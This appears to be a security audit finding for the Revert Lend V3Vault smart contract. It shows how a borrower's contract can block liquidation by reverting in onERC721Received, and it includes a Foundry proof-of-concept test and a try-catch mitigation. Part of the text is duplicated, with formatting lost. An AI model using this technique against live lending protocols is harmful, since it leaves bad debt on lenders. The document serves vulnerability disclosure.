Note that it transfers NFT position back to token's owner.
Using safeTransferFrom, if to address is a contract account, ERC721 token will attempt to call onERC721Received on to address. For contract account to receive ERC721 token, it must implement onERC721Received and return a magic bytes to signal that it can handle ERC721 token, if NOT then the transfer will revert.
A malicious actor can leverage this fact and implement onERC721Received that only revert the transfer when it is the part of liquidation process so that its position can't be liquidated.
Proof-of-Concept
I wrote a test for this in a separate file, borrow a setup from V3Vault.t.sol and its liquidation test.
What it does is it use foundry cheatcode, vm.etch to put a bytecode into TEST_NFT_ACCOUNT in order to demonstrate that liquidation will fail if the receiver of the position is not compatible with ERC721Receiver
Steps
(1) Save below file in test/integrations, name it LiquidationFail.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console.sol";
// base contracts
import "../../src/V3Oracle.sol";
import "../../src/V3Vault.sol";
import "../../src/InterestRateModel.sol";
// transformers
import "../../src/transformers/LeverageTransformer.sol";
import "../../src/transformers/V3Utils.sol";
import "../../src/transformers/AutoRange.sol";
import "../../src/transformers/AutoCompound.sol";
import "../../src/utils/FlashloanLiquidator.sol";
import "../../src/interfaces/IErrors.sol";
contract LiquidationFail is Test {
uint256 constant Q32 = 2 ** 32;
uint256 constant Q96 = 2 ** 96;
uint256 constant YEAR_SECS = 31557600; // taking into account leap years
address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC;
IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy
address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;
address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool
address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool
address constant UNISWAP_DAI_USDC_005 = 0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool
address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5;
uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320)
address constant TEST_NFT_ACCOUNT_2 = 0x454CE089a879F7A0d0416eddC770a47A1F47Be99;
uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320)
uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3%
uint256 mainnetFork;
V3Vault vault;
InterestRateModel interestRateModel;
V3Oracle oracle;
function setUp() external {
mainnetFork = vm.createFork("https://ethereum.publicnode.com");
vm.selectFork(mainnetFork);
// 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed) (-> max rate 25.8% per year)
interestRateModel = new InterestRateModel(0, Q96 * 5 / 100, Q96 * 109 / 100, Q96 * 80 / 100);
// use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results)
oracle = new V3Oracle(NPM, address(USDC), address(0));
oracle.setTokenConfig(
address(USDC),
AggregatorV3Interface(CHAINLINK_USDC_USD),
3600 * 24 * 30,
IUniswapV3Pool(address(0)),
0,
V3Oracle.Mode.TWAP,
0
);
oracle.setTokenConfig(
address(DAI),
AggregatorV3Interface(CHAINLINK_DAI_USD),
3600 * 24 * 30,
IUniswapV3Pool(UNISWAP_DAI_USDC),
60,
V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
50000
);
oracle.setTokenConfig(
address(WETH),
AggregatorV3Interface(CHAINLINK_ETH_USD),
3600 * 24 * 30,
IUniswapV3Pool(UNISWAP_ETH_USDC),
60,
V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
50000
);
vault =
new V3Vault("Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2));
vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
// limits 15 USDC each
vault.setLimits(0, 1_000e6, 1_000e6, 1_000e6, 1_000e6);
// without reserve for now
vault.setReserveFactor(0);
}
function _setupBasicLoan(bool borrowMax) internal {
// lend 10 USDC
_deposit(100e6, WHALE_ACCOUNT);
// add collateral
vm.prank(TEST_NFT_ACCOUNT);
NPM.approve(address(vault), TEST_NFT);
vm.prank(TEST_NFT_ACCOUNT);
vault.create(TEST_NFT, TEST_NFT_ACCOUNT);
(, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
// assertEq(collateralValue, 8847206);
// assertEq(fullValue, 9830229);
if (borrowMax) {
// borrow max
vm.prank(TEST_NFT_ACCOUNT);
vault.borrow(TEST_NFT, collateralValue);
}
}
function _repay(uint256 amount, address account, uint256 tokenId, bool complete) internal {
vm.prank(account);
USDC.approve(address(vault), amount);
if (complete) {
(uint256 debtShares) = vault.loans(tokenId);
vm.prank(account);
vault.repay(tokenId, debtShares, true);
} else {
vm.prank(account);
vault.repay(tokenId, amount, false);
}
}
function _deposit(uint256 amount, address account) internal {
vm.prank(account);
USDC.approve(address(vault), amount);
vm.prank(account);
vault.deposit(amount, account);
}
function _createAndBorrow(uint256 tokenId, address account, uint256 amount) internal {
vm.prank(account);
NPM.approve(address(vault), tokenId);
bytes[] memory calls = new bytes[](2);
calls[0] = abi.encodeWithSelector(V3Vault.create.selector, tokenId, account);
calls[1] = abi.encodeWithSelector(V3Vault.borrow.selector, tokenId, amount);
vm.prank(account);
vault.multicall(calls);
}
function testLiquidationFail() public {
_setupBasicLoan(true);
(, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
// debt is equal collateral value
(uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);
vault.setTokenConfig(address(DAI), uint32(Q32 * 2 / 10), type(uint32).max); // 20% collateral factor
// debt is greater than collateral value
(debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);
vm.prank(WHALE_ACCOUNT);
USDC.approve(address(vault), liquidationCost - 1);
(uint256 debtShares) = vault.loans(TEST_NFT);
vm.prank(WHALE_ACCOUNT);
USDC.approve(address(vault), liquidationCost);
// putting bytecode into owner account, effectively make it a contract with no support for onERC721Received
vm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080"));
vm.prank(WHALE_ACCOUNT);
vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
// NFT was returned to owner
assertEq(NPM.ownerOf(TEST_NFT), TEST_NFT_ACCOUNT);
// all debt is payed
assertEq(vault.debtSharesTotal(), 0);
}
}
(2) Run forge test --match-contract LiquidationFail --match-test testLiquidation -vvv
(3) Note that the test fail due to the safeTransferFrom
(4) Try remove this line vm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080")); and run the test again
(5) Note that now the liquidation is successful this time
Recommend Mitigations
Consider handling NFT transfer in _clearupLoan() with try-catch
Lines of code
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083
Vulnerability details
Impact
Prevent liquidation of malicious actor's position, causing bad debt to the protocol and users (since some bad debt are democratized to users).
Description
At the end of liquidation process, loan struct is clear up in
_clearupLoan()
function. see: https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L743-L744Zooming in
_clearupLoan
implementation:Note that it transfers NFT position back to token's owner. Using
safeTransferFrom
, ifto
address is a contract account, ERC721 token will attempt to callonERC721Received
onto
address. For contract account to receive ERC721 token, it must implementonERC721Received
and return a magic bytes to signal that it can handle ERC721 token, if NOT then the transfer will revert.A malicious actor can leverage this fact and implement
onERC721Received
that only revert the transfer when it is the part of liquidation process so that its position can't be liquidated.Proof-of-Concept
I wrote a test for this in a separate file, borrow a setup from
V3Vault.t.sol
and its liquidation test. What it does is it use foundry cheatcode,vm.etch
to put a bytecode intoTEST_NFT_ACCOUNT
in order to demonstrate that liquidation will fail if the receiver of the position is not compatible with ERC721ReceiverSteps
(1) Save below file in
test/integrations
, name itLiquidationFail.t.sol
(2) Run
forge test --match-contract LiquidationFail --match-test testLiquidation -vvv
(3) Note that the test fail due to thesafeTransferFrom
(4) Try remove this linevm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080"));
and run the test again (5) Note that now the liquidation is successful this timeRecommend Mitigations
_clearupLoan()
with try-catchAssessed type
ERC721